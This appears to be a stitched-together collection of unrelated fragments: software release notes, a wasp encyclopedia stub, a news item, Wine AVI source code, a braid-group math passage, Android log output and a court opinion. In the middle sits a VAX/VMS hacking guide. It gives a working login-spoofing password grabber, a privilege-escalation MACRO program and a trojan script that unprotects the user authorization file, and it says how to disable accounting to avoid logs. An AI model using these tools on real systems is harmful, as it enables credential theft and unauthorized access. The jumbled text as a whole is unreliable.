"They will not harm me as long as the boy is in our hands, don't you see? And when I return here with Fareed, we'll deal |
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] | Each sub-brush has a fully separate and customisable set of dynamics. You can control when the sub-brushes are drawn and how they blend with the main brush.
, developed in conjunction with Paolo Limoncelli from DAUB® Brushes. This exciting feature allows any brush to have a list of other brushes attached which will draw at the same time. Each sub-brush has a fully separate and customisable set of dynamics. You can control when the sub-brushes are drawn and how they blend with the main brush. Symmetry (up to 32-way) is now supported—including on-canvas controls and optional mirroring. We have more symmetry features on the way—so stay tuned during the beta process.
(up to 32-way) is now supported—including on-canvas controls and optional mirroring. We have more symmetry features on the way—so stay tuned during the beta process. Wet edges and accumulation are now available on colour brushes and brushes with HSL variance.
and are now available on colour brushes and brushes with HSL variance. Brushes with multiple nozzle textures have always chosen the nozzle at random. In 1.7, the nozzle choice has a dynamic controller and ramp for greater control.
All brush tools now support left and right arrow keys for on the fly nozzle rotation.
RAW
The RAW processing engine in Photo has been rewritten—producing better results and improved performance.
RAW files now load much more quickly.
Reimplemented support for XTrans sensors.
The denoise algorithm has been rewritten.
Hot pixel removal is now automatically performed by the Serif Labs engine.
Profiled lens correction are more stable, apply more quickly, and can be toggled in the Develop UI.
UI. The histogram in the Develop Persona is now presented in the output colour space—as opposed to always being linear.
Filters
New Procedural Texture filter with advanced presets support.
filter with advanced presets support. New Voronoi filter.
filter. Denoise , Clarity and Shadows / Highlights filters have been rewritten (using technology from the Develop Persona ).
, and filters have been rewritten (using technology from the ). More filters are now available as Live Filters —including the new Procedural Texture filter.
—including the new filter. Live filters have been rewritten to improve performance—especially when multiple filters are used in a document.
Improved Polar to Rectangular and Rectangular to Polar filters.
Adjustments
The HSL Adjustment Layer has been rewritten. It now supports custom hue ranges, a new algorithm, new UI and picker controls.
has been rewritten. It now supports custom hue ranges, a new algorithm, new UI and picker controls. The Levels Adjustment Layer now supports output levels.
now supports output levels. The White Balance Adjustment Layer has been rewritten.
has been rewritten. The Selective Colour Adjustment Layer has been rewritten.
has been rewritten. PSD import / export of adjustments has been improved.
The Vibrance Adjustment Layer has been rewritten.
has been rewritten. The Recolour Adjustment Layer has gained a lightness slider.
The Crop Tool has been rewritten—it now supports resolution changes, absolute pixel size and has a much improved pre-set mechanism.
has been rewritten—it now supports resolution changes, absolute pixel size and has a much improved pre-set mechanism. The Sponge Brush Tool now gives more correct / pleasant results.
now gives more correct / pleasant results. A general tools overhaul has been performed—providing editing of grids, guides, page origin, across multiple tools (not just in the Move Tool).
General
‘Alternate futures’ for document history have been added. Traditionally, if you roll back the undo history then do something else all your changes after that point are lost. Affinity Photo will now display a small branch icon in the history tab when you do this. Pressing that button will cycle between all the different ‘futures’ after that history entry—meaning you will never lose work you have done.
for document history have been added. Traditionally, if you roll back the undo history then do something else all your changes after that point are lost. Affinity Photo will now display a small branch icon in the history tab when you do this. Pressing that button will cycle between all the different ‘futures’ after that history entry—meaning you will never lose work you have done. HEIF images can now be loaded directly into Photo. If they contain a depth map, this will also be loaded as a second layer. Because depth maps are typically lower resolution than the main image, optional ‘smart’ upsampling will be performed.
A large number of new cameras are supported for RAW development (we will provide a list of the new supported cameras as soon as possible!).
The batch process dialog now fully supports expressions for height and width - available constants are ‘w’, ‘h’ and ‘dpi’.
Affinity Photo now supports custom document presets.
A new blend mode— Linear Burn —has been added.
—has been added. New ‘Move inside / outside’ commands have been added—useful for quick operations on clipping masks etc.
The Hard Mix blend mode has been improved.
blend mode has been improved. New provider options have been added to the stock panel—support for Unsplash and Pexels. Both of these providers offer full-resolution stock imagery which is free to use.
Metadata is now dynamically synchronised with your document—so if you resize then export, the values will be correct.
Numerous text improvements have been made—including new features.
Significant PDF import / export improvements and fixes.
Numerous other bug fixes—too many to list!
Using Affinity Photo on Mac?
We’ve also put a lot of effort into taking advantage of the powerful discrete GPUs in modern Mac hardware and are seeing huge performance improvements. 1.7 also now supports external GPUs on mac too! We’d love to know what you think!
A new look?
You will notice that we have revamped the icons for 1.7—primarily to ensure better consistency between different operating systems. We are still refining these, and will talk more about it closer to the 1.7 launch.
You may also notice our amazing new splash screen, illustrated by the brilliant Michał Karcz.
Download the Affinity Photo 1.7 beta today!
You can download the Affinity Photo 1.7 beta using the buttons below:
For MacFor Windows
PLEASE NOTE that you need to have a paid for version of Affinity Photo 1.6 installed to take part in the beta. If this is your first time using a customer beta of an Affinity app, it’s also worth noting that the beta will install as a separate app—alongside your store version. They will not interfere with each other at all and you can continue to use the store version for critical work without worry.
It’s also worth noting that we aren’t done yet—we are still working through reported bugs from previous releases and hope to fix as many as possible before the final release of 1.7.
Remember…
As this is a beta it is considered to be not suitable for production use. This means that you should not attempt to use it for commercial purposes or for any other activity where you may be adversely affected by the application failing, including the total loss of any documents.
Thank you for all your help!
We hope you enjoy the new features and improvements in version 1.7, and as always, if you find any bugs or have any suggestions to improve Affinity Photo, please post on the relevant forums here.
It’s your feedback that will help to shape what version 1.7 of Affinity Photo will be. We really value all your help and support.Steniolia elegans
Steniolia elegans is a species of sand wasp in the family Crabronidae. It is found in Central America and North America.
References
Category:Crabronidae
Category:Articles created by Qbugbot
Category:Insects described in 1929Prince Charles Stuns Writer With 'Racist' Remark
Britain's Prince Charles is seen in this file photo. (AP Photo/Stephen Chernin)
(Newser)
–
Prince Charles has roused a Guardian reporter's ire by allegedly making a racist remark about her, People reports. Anita Sethi met Charles this week at the Commonwealth People's Forum, and when she told him she's from Manchester, he apparently said, "Well, you don't look like it!" and laughed. Sethi, a woman of color, says she was stunned. "Since it happened I have been through all the feelings—from shock to humiliation to rage," she writes in the Guardian. "This is exactly why some people, including the prince, urgently need a history lesson about immigration, the British empire, the Commonwealth and colonialism. Because I do look like I'm from Manchester, actually—a city in which many people of color have been born and bred."
She says Charles should no longer become Head of the Commonwealth, a position he was appointed to Friday. "We need to skip a generation so that Prince Charles does not become king of England or head of the Commonwealth, and these privileges pass to leaders more enlightened (don’t forget, the role of head of the Commonwealth is not hereditary)," writes |
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] | /* clear local variable(s) */
for (curStream = 0; curStream < nStreams; curStream++) {
pInStreams[curStream] = NULL;
pOutStreams[curStream] = NULL;
}
/* open output AVI file (create it if it doesn't exist) */
hres = AVIFileOpenW(&pfile, szFile, OF_CREATE|OF_SHARE_EXCLUSIVE|OF_WRITE,
pclsidHandler);
if (FAILED(hres))
return hres;
AVIFileInfoW(pfile, &fInfo, sizeof(fInfo)); /* for dwCaps */
/* initialize our data structures part 1 */
for (curStream = 0; curStream < nStreams; curStream++) {
PAVISTREAM pCurStream = ppavi[curStream];
hres = AVIStreamInfoW(pCurStream, &sInfo, sizeof(sInfo));
if (FAILED(hres))
goto error;
/* search first video stream and check for interleaving */
if (sInfo.fccType == streamtypeVIDEO) {
/* remember first video stream -- needed for interleaving */
if (lFirstVideo < 0)
lFirstVideo = curStream;
} else if (!dwInterleave) {
/* check if any non-video stream wants to be interleaved */
WARN("options.flags=0x%X options.dwInterleave=%u\n",plpOptions[curStream]->dwFlags,plpOptions[curStream]->dwInterleaveEvery);
if (plpOptions[curStream] != NULL &&
plpOptions[curStream]->dwFlags & AVICOMPRESSF_INTERLEAVE)
dwInterleave = plpOptions[curStream]->dwInterleaveEvery;
}
/* create de-/compressed stream interface if needed */
pInStreams[curStream] = NULL;
if (plpOptions[curStream] != NULL) {
if (plpOptions[curStream]->fccHandler ||
plpOptions[curStream]->lpFormat != NULL) {
DWORD dwKeySave = plpOptions[curStream]->dwKeyFrameEvery;
if (fInfo.dwCaps & AVIFILECAPS_ALLKEYFRAMES)
plpOptions[curStream]->dwKeyFrameEvery = 1;
hres = AVIMakeCompressedStream(&pInStreams[curStream], pCurStream,
plpOptions[curStream], NULL);
plpOptions[curStream]->dwKeyFrameEvery = dwKeySave;
if (FAILED(hres) || pInStreams[curStream] == NULL) {
pInStreams[curStream] = NULL;
goto error;
}
/* test stream interface and update stream-info */
hres = AVIStreamInfoW(pInStreams[curStream], &sInfo, sizeof(sInfo));
if (FAILED(hres))
goto error;
}
}
/* now handle streams which will only be copied */
if (pInStreams[curStream] == NULL) {
pCurStream = pInStreams[curStream] = ppavi[curStream];
AVIStreamAddRef(pCurStream);
} else
pCurStream = pInStreams[curStream];
lStart[curStream] = sInfo.dwStart;
} /* for all streams */
/* check that first video stream is the first stream */
if (lFirstVideo > 0) {
PAVISTREAM pTmp = pInStreams[lFirstVideo];
LONG lTmp = lStart[lFirstVideo];
pInStreams[lFirstVideo] = pInStreams[0];
pInStreams[0] = pTmp;
lStart[lFirstVideo] = lStart[0];
lStart[0] = lTmp;
lFirstVideo = 0;
}
/* allocate buffer for formats, data, etc. of an initial size of 64 kBytes*/
cbBuffer = 0x00010000;
lpBuffer = HeapAlloc(GetProcessHeap(), 0, cbBuffer);
if (lpBuffer == NULL) {
hres = AVIERR_MEMORY;
goto error;
}
AVIStreamInfoW(pInStreams[0], &sInfo, sizeof(sInfo));
lFileLength = sInfo.dwLength;
dwFileInitialFrames = 0;
if (lFirstVideo >= 0) {
/* check for correct version of the format
* -- need at least BITMAPINFOHEADER or newer
*/
lSampleInc = 1;
lBufferSize = cbBuffer;
hres = AVIStreamReadFormat(pInStreams[lFirstVideo], AVIStreamStart(pInStreams[lFirstVideo]), lpBuffer, &lBufferSize);
if (lBufferSize < (LONG)sizeof(BITMAPINFOHEADER))
hres = AVIERR_INTERNAL;
if (FAILED(hres))
goto error;
} else /* use one second blocks for interleaving if no video present */
lSampleInc = AVIStreamTimeToSample(pInStreams[0], 1000000);
/* create output streams */
for (curStream = 0; curStream < nStreams; curStream++) {
AVIStreamInfoW(pInStreams[curStream], &sInfo, sizeof(sInfo));
sInfo.dwInitialFrames = 0;
if (dwInterleave != 0 && curStream > 0 && sInfo.fccType != streamtypeVIDEO) {
/* 750 ms initial frames for non-video streams */
sInfo.dwInitialFrames = AVIStreamTimeToSample(pInStreams[0], 750);
}
hres = AVIFileCreateStreamW(pfile, &pOutStreams[curStream], &sInfo);
if (pOutStreams[curStream] != NULL && SUCCEEDED(hres)) {
/* copy initial format for this stream */
lBufferSize = cbBuffer;
hres = AVIStreamReadFormat(pInStreams[curStream], sInfo.dwStart,
lpBuffer, &lBufferSize);
if (FAILED(hres))
goto error;
hres = AVIStreamSetFormat(pOutStreams[curStream], 0, lpBuffer, lBufferSize);
if (FAILED(hres))
goto error;
/* try to copy stream handler data */
lBufferSize = cbBuffer;
hres = AVIStreamReadData(pInStreams[curStream], ckidSTREAMHANDLERDATA,
lpBuffer, &lBufferSize);
if (SUCCEEDED(hres) && lBufferSize > 0) {
hres = AVIStreamWriteData(pOutStreams[curStream],ckidSTREAMHANDLERDATA,
lpBuffer, lBufferSize);
if (FAILED(hres))
goto error;
}
if (dwFileInitialFrames < sInfo.dwInitialFrames)
dwFileInitialFrames = sInfo.dwInitialFrames;
lReadBytes =
AVIStreamSampleToSample(pOutStreams[0], pInStreams[curStream],
sInfo.dwLength);
if (lFileLength < lReadBytes)
lFileLength = lReadBytes;
} else {
/* creation of de-/compression stream interface failed */
WARN("creation of (de-)compression stream failed for stream %d\n",curStream);
AVIStreamRelease(pInStreams[curStream]);
if (curStream + 1 >= nStreams) {
/* move the others one up */
PAVISTREAM *ppas = &pInStreams[curStream];
int n = nStreams - (curStream + 1);
do {
*ppas = pInStreams[curStream + 1];
} while (--n);
}
nStreams--;
curStream--;
}
} /* create output streams for all input streams */
/* have we still something to write, or lost everything? */
if (nStreams <= 0)
goto error;
if (dwInterleave) {
LONG lCurFrame = -dwFileInitialFrames;
/* interleaved file */
if (dwInterleave == 1)
AVIFileEndRecord(pfile);
for (; lCurFrame < lFileLength; lCurFrame += lSampleInc) {
|
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] | until
either you or a system administrator stops it. Perfect for on-site
brute force hacking. To submit a file to queue BA0: named HACK.COM,]
you would use:
$ submit hack /queue=ba0:
STOP: Kill off a subprocess. For example, if you had all privileges, and you
wanted to kill a system administrator using the account SYSTEM, with
the process name of "SYSTEM", you would type:
$ stop system
TYPE: View an ASCII file. Example: to list the contents of HACKUNIX.DOC,
type:
$ type hackunix.doc
To view the contents of a file, with a pause between pages, type:
$ type hackunix.doc /page
A brief section on control sequences... Several different actions can be
activated via control sequences. They are:
CTRL-H: Delete last character
CTRL-B: Redisplay last command (can go back up to the last 20 commands issued)
CTRL-S: Pause display
CTRL-Q: Continue after pause
CTRL-Z: *EXIT* use to break out of things such as CREATE and EDIT
CTRL-C: *CANCEL* will exit out of most operations
CTRL-Y: *INTERRUPT* will break out of whatever you are doing
CTRL-T: Print out statistical info about the process
Sometimes upon login, the CTRL-Y, CTRL-C keys are disabled. To ensure these
are enabled, issue this command upon login:
$ set control = (t,y)
The directory structure of VMS is similar to MS-DOS and UNIX. It is an
easy concept to grasp, so my review of it shall be brief and concise. Each
disk drive on the system is given a device name, much like a printer. Often
times the device names vary from system to system, however for this text, I
will use the most common (and default) drive name, DUA0:. DUA0: can also be
known as SYS$SYSDEVICE:, and many other names through the use of VMS logicals.
However, this is unimportant and should only be considered when you are
searching all the drives on a system for a certain file. Within each drive
there is a root directory. This is the highest directory in the directory
tree and is referenced by [000000]. Within the root there are several
subdirectories. Within these subdirectories there may be files and even
further subdirectories. The concept is quite simple, but can be difficult to
explain. Here is a diagram to give you a rough idea of how it is set up:
[000000] ""::
If the password is wrong, DCL will report a user authorization error. If the
password is correct, DCL will complain about an ACP protection error. Either
way, your attempt is not recorded by VMS unless the system you are working
on has excellent auditing, and the administrator constantly watches the logs.
A better way than brute force hacking is a password grabber. A password
grabber does precisely what it says, it grabs passwords. When you log off, the
password grabber will sit there and pretend to be the login sequence (Username
and Password prompts), but it really will record the username and the password
entered into a file in your account and give the unfortunate user a "User
Authorization Failure" error message. This is a very effective way of snatching
passwords, but also is very dangerous. The following listing is a short password
grabber for VAX/VMS. It is written in DCL, so even the absolute beginner
should understand how it works.
$!VAX/VMS Password Grabber by Loxsmith
$!Name it QUIT.COM
$ wr :== write sys$output
$ time = f$time()
$!Replace with your username.
$ wr " logged off at ",time
$ set term/nobroadcast
$ set noon
$ set nocontrol = (t,y)
$!Edit the following message to whatever welcome message your target system has.
$ wr " Welcome to VAX/VMS 5.5"
$ wr " "
$ ak:
$ inquire uname "Username"
$ if uname .eqs. "" then goto ak
$ set term/noecho
$ inquire pass "Password"
$ set term/echo
$ open/write pw_file pass.txt
$ write pw_file "Username: ",uname
$ write pw_file "Password: ",pass
$ close pw_file
$ wr "User Authorization Failure"
$ stop "''f$process()
Replace in line 5 with the account that you are currently
inhabiting. Now, one more change is necessary. You must edit the LOGIN.COM
file. (I will assume that you are not running the password grabber out of
your own account. If you do, only do it once, and that is to get another
account to run it out of.) If the person doesn't already have a LOGIN.COM file, don't sweat
it, you will just make a new one. Regardless of if you do this or not, the
last two lines of the program should look like this:
$ log :== @quit
$ dir :== dir/exclude = (quit.com, login.com, pass.txt)
Omit the login.com in line 2 if the person already has a LOGIN.COM in their
account.
OK, there you have it. A password grabber. Check the person's account
daily (or your account, depending on who the person is there on-site). The
passwords are stored in a file called PASS.TXT. To look at all passwords
acquired, type the following line:
$ type pass.txt;*
Sooner or later, you should find at least one privileged account in there.
Also, you must repeat this process to every account you can get for the
fastest results. You can quite simply add the following command into your
QUIT.COM file to mail new passwords to your main account as soon as you
get them:
$ mail pass.txt
Yet another way to gain privileges from inside a VMS is to use kernel
manipulation. Unfortunately to do this, you must already have the CMEXEC
privilege. This is not a very powerful privilege, but very rarely does
a system administrator give it away. After you upload this program or
type it in, use the following commands to activate it:
$ MACRO EXEC
$ LINK EXEC,SYS$SYSTEM:STSDEF.STB
$ RUN EXEC
; exec.mar:
.TITLE GET_PRIVS
MASK: .QUAD ^XFFFFFFFFFFFFFFFF
.ENTRY GET_PRIVS, ^M<>
$CMEXEC_S ROUTIN=SETEM
$EXIT_S #1
SETEM: $SETPRV_S PRMFLG=#1, -
ENBFLG=#1, -
PRVADR=MASK
RET
.END GET_PRIVS
One last way to obtain privileges is through the use of a trojan horse. If
you can somehow get a privileged user to run the following program, it would
grant NAME, ALL privileges, and it would unprotect the SYSUAF.DAT and
AUTHORIZE.EXE programs.
$ pre_prvs=f$setprv("setprv")
$ if f$privilege("setprv") then goto do_damage
$ exit
$ do_damage:
$ set prot sys$system:sysuaf.dat/prot=(w:rwed)
$ set prot sys$system:authorize.exe/prot=(w:rwed)
$ pre_prvs=f$setprv(pre_prvs)
$ open/write file sys$scratch:adduaf.tmp
$ write file "$ RUN SYS$SYSTEM:AUTHORIZE"
$ write file "MODIFY NAME/PRIV=SETPRV"
$ close file
$ @sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
$ del sys$scratch:adduaf.*;*
$ exit
V. What to Hack
Once you get on with a higher privileged account, I suggest you take
as many privileges as you can. To accomplish this, type:
$ set process/priv=all
You may get an error saying that you don't have enough privileges to do it.
In this case, go to the trusty password grabber and continuously try to get
an account with higher privileges. If you can't, then you aren't trying
hard enough. I have not encountered a VMS system to this day that I haven't
been able to obtain higher access on if I have a normal account. The next
thing you want to do is be sure that the system is not recording you. To
accomplish this, type:
$ set accounting/disable
Now you should be kept off of the logs. If you feel it is necessary to be
sure, the system log file is sys$manager:accounting.dat. You should
now look to see who else is on with you. To do this, type:
$ show users/full
VAX/V |
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19
] | we obtain 3 different cases for $\delta_k$ matrices,
$$\label{delta_k}
\delta_k =
\begin{cases}
[xq^{k-1},...,xq^{i-2},1,q,\cdots,q^{n-i-1}] & k<i; \\
[1,q,q^2,q^3,...,q^{n-i-1}] & k=i; \\
[yq^{k-i-1},...,yq^{n-i-2}] & k>i
\end{cases}$$
where $x$ and $y$ are two indeterminants. Although $\delta_k^{i-k+1}=\delta_i^1$ for $k<i$ can be any real number, 1 is chosen for simplicity.
For $n=6$ and $i=3$ (i.e. the braid is in $\mathbb{B}^6$ and does not have the generator $\sigma_3$), the vector $v$ is given by $$v=[x,xq,xq^2,1,q,xq,xq^2,1,q,xq^2,1,q,q^2,y,yq,yq].$$
Furthermore, the $\hat{k}$th column of $K(\sigma_k)$ with $\hat{k}=1+\sum_{j=1}^{k-1}(n-j)$, which is already mentioned in Observation \[obs:6\], provides extra relation $f_k$ that can be employed to find $x$ and $y$. Indeed, there exist $i-1$ relations with entries in $[[\delta_1],...,[\delta_{i-1}]]$ that include $x$ and $n-i-1$ linear relations with entries in $[[\delta_{i+1}],...,[\delta_{n-1}]]$ that include $y$. More specifically, $f_k$ has entries from the last $n-k$ elements of $\delta_k$ for all $k\in \{1,...,i-1,i+1,...,n-1\}$. For example, in $B_6$, $f_2$ has entries $\{\delta_1^2,...,\delta_1^5, \delta_2^1,...,\delta_2^4\}$ where $\delta_k^j$ is the $j$-th element in $\delta_k$.
Note that all other rows in $K(\sigma_k)$ give redundant relations i.e. the relations (\[rel1\]), (\[rel2\]), (\[rel3\]) and $f_k$ for $k\in \{1,...,i-1,i+1,...,n-1\}$ are all relations that the elements of the eigenvector $v$ need to satisfy.
*\[lemma1\] There exist unique solutions for $x$ and $y$ in (\[delta\_k\]) that the relations $f_k$ for $k\in \{1,...,i-1,i+1,...,n-1\}$ are satisfied.*
First, it is easy to check that $f_k$ with $k<i$ gives the relations for $x$ and with $k>i$ for $y$. For $k<i$, $f_k$ gives $$xtq^{i+k-1}-tq^{k-1}(1-q^{n-i})=xq^{k-1}.$$ This yields to the following solution: $$x=\frac{tq^{k-1}(1-q^{n-i})}{q^{k-1}(tq^i-1)}=\frac{t(1-q^{n-i})}{tq^i-1}$$ which is independent from $k$, i.e. there is a unique solution for $x$ for all $f_k$ with $k<i$.
Similarly, for $k>i$, $f_k$ gives $$ytq^{k-1}-tq^{k-1}(1-q^{n-i})=yq^{k-i-1}.$$ Hence, we have the following solution for $y$: $$y=\frac{tq^{k-1}(1-q^{n-i})}{q^{k-i-1}(tq^i-1)}=\frac{tq^{i+1}(1-q^{n-i})}{tq^i-1}.$$ which is again independent from $k$, i.e. there is a unique solution of $y$ for all $f_k$ with $k>i$.
Now, we give an example for the construction in the lemma above.
Let $n=6$ and $i=3$ again. The vector $v$ and the non-trivial column for each generator is given by Table \[table:2\].
From the non-trivial column of $K(\sigma_1)$, we get the relation $f_1$ as $$xtq^2+xtq^2(q-1)+(1+q+q^2)tq(q-1) =x \Rightarrow xtq^3-tq(1-q^3)=x \Rightarrow \\
x(tq^3-1) = tq(1-q^3),$$ which implies $$x = \frac{tq(1-q^3)}{tq^3-1}.$$ Similarly, the non-trivial column of $K(\sigma_2)$ gives the relation $f_2$ as $$xtq^3(q-1)+(1+q+q^2)tq(q-1)^2+xtq^3 + (1+q+q^2)tq(q-1) = xq,$$ which gives $$xtq^4-tq^2(1-q^3) = xq.$$ We get the same relation when we cancel the $q$’s on both sides of the equation, i.e. $f_2$ gives the same solution for $x$.
We obtain the unique solution for $y$ using the non-trivial columns of $K(\sigma_4)$ and $K(\sigma_5)$ similarly.
$\sigma_1$ $\sigma_2$ $\sigma_3$ $\sigma_4$ $\sigma_5$
------------ ------------ ------------ ------------- --------------- --------------- -------------
$x$ $tq^2$ 0 0 0 0
$xq$ $tq(q-1)$ $tq^2(q-1)$ 0 0 0
1 $tq(q-1)$ $tq(q-1)^2$ $tq^3(q-1)$ 0 0
$q$ $tq(q-1)$ $tq(q-1)^2$ $tq^2(q-1)^2$ $tq^4(q-1)$ 0
$q^2$ $tq(q-1)$ $tq(q-1)^2$ $tq^2(q-1)^2$ $tq^3(q-1)$ $tq^5(q-1)$
$xq$ 0 $tq^2$ 0 0 0
$1$ 0 $tq(q-1)$ $tq^2(q-1)$ 0 0
$q$ 0 $tq(q-1)$ $tq(q-1)^2$ $tq^3(q-1)$ 0
$q^2$ 0 $tq(q-1)$ $tq(q-1)^2$ $tq^2(q-1)^2$ $tq^4(q-1)$
1 0 0 $tq^2$ 0 0
$q$ 0 0 $tq(q-1)$ $tq^2(q-1)$ 0
$q^2$ 0 0 $tq(q-1)$ $tq(q-1)^2$ $tq^3(q-1)$
y 0 0 0 $tq^2$ 0
$yq$ 0 0 0 $tq(q-1)$ $tq^2(q-1)$
$\delta_5$ $yq$ 0 0 0 0 $tq^2$
: The non-trivial columns in the Krammer representation of the artin generators for $\mathbb{B}^6$ []{data-label="table:2"}
From Lemma \[lemma1\], we finished the construction of the vector $v$. To sum up, $$v=[[\delta_1],...,[\delta_{n-1}]]$$ where $$\delta_k =
\begin{cases}
[xq^{k-1},...,xq^{i-2},1,q,\cdots,q^{n-i-1}] & k<i; \\
[1,q,q^2 |
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] | Test(2738): rvdMsgByte: [B@41a8e608
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8e8a8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8eb48
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8ede8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8f088
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8f328
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8f5c8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8f868
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8fb08
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a8fda8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a90048
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a902e8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a90588
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a90828
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a90ac8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a90d68
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a91008
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a912a8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a91548
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a917e8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a91a88
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a91d28
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a91fc8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a92268
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a92508
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a927a8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a92a48
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a92ce8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a92f88
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a93228
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a934c8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a93768
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a93a08
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a93ca8
05-09 02:17:31.684: D/Test(2738): rvdMsgTxt:
05-09 02:17:31.684: D/Test(2738): rvdMsgByte: [B@41a93f48
05-09 02:17:31.684: D/Test(2738): rvd |
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] |
controlling law.
Independent Contractor Agreement at 5 (emphasis supplied). Second, within a final
section labeled “Miscellaneous,” the agreement included the following choice-of-law
provision:
(c) To the extent not preempted by ERISA or other federal law, this
Agreement shall by [sic] governed by and construed under the laws of the
State of Minnesota.
Id. at 7.
Computer Sciences began processing claims in January of 1995. UHC quickly
became dissatisfied with its performance. On February 22, UHC ordered Computer
Sciences to cease work and retained First Health Strategies, Inc. to temporarily assume
claim processing for the fund. At that point, UHC maintained hope that Computer
Sciences could sort out its difficulties and resume performance in 1996. On August 4,
1995, however, after attempting to work with Computer Sciences to restructure its
processing system, UHC formally terminated the agreement.
Each party filed a demand for arbitration, claiming that the other had breached
its contractual obligations. These actions were consolidated into a single proceeding
convened in Minneapolis on August 13, 1996, before a tribunal of the American
Arbitration Association, which issued its decision later that year. See In the Matter of
the Arbitration between UHC Management Co., Inc, and Computer Sciences Corp.,
No. 56 193 00305 95 (A.A.A., Arb. Dec. 30, 1996). The panel found that UHC had
effectively terminated the agreement on February 22, 1995, and had breached its
-4-
obligations by failing to provide the required notice and opportunity to cure.
Concluding that Computer Sciences had not sustained its burden of proving damages,
the panel awarded it none. Next, the panel concluded that Computer Sciences had also
breached the agreement. It awarded UHC damages totaling approximately $1.3
million. Lastly, the panel stated that it would retain jurisdiction regarding that aspect
of the dispute involving Computer Sciences’s alleged overpayment of claims, conduct
a hearing to determine the extent of such overpayments, and thereafter issue
appropriate supplemental damages to reimburse UHC for that loss.
UHC filed this action seeking confirmation of the award, asserting jurisdiction
both under 28 U.S.C. § 1332 and under the Federal Arbitration Act, 9 U.S.C. §§ 1 et
seq. (1970 & 1998 Supp.). That same day, Computer Sciences also filed suit, invoking
diversity jurisdiction and seeking relief under the Minnesota Uniform Arbitration Act,
Minn. Stat. Ann. §§ 572.08 et seq. (West 1988 & 1998 Supp.) and Minnesota common
law.3 Specifically, Computer Sciences sought: (1) deletion of the damage award to
UHC; (2) correction and modification of the award to include an award of damages to
Computer Sciences; (3) prohibition of any additional proceedings by the panel to award
supplemental damages; and (4) confirmation of the award as modified to these
specifications. After consolidating the actions, the district court denied Computer
Sciences’s claim and confirmed the award as issued by the panel.
3
Computer Sciences has also filed suit against First Health Strategies and the
fund itself in California, alleging intentional interference with contractual relations and
five additional claims. See Computer Sciences Corp. v. First Health Strategies (TPA),
Inc. and United Mine Workers of America Combined Benefit Fund, No. 96-2026 (C.D.
Cal. filed Feb. 16, 1996).
-5-
II.
Congress enacted the Federal Arbitration Act (FAA) in order to establish a
“national policy favoring arbitration.” Southland Corp. v. Keating, 465 U.S. 1, 10
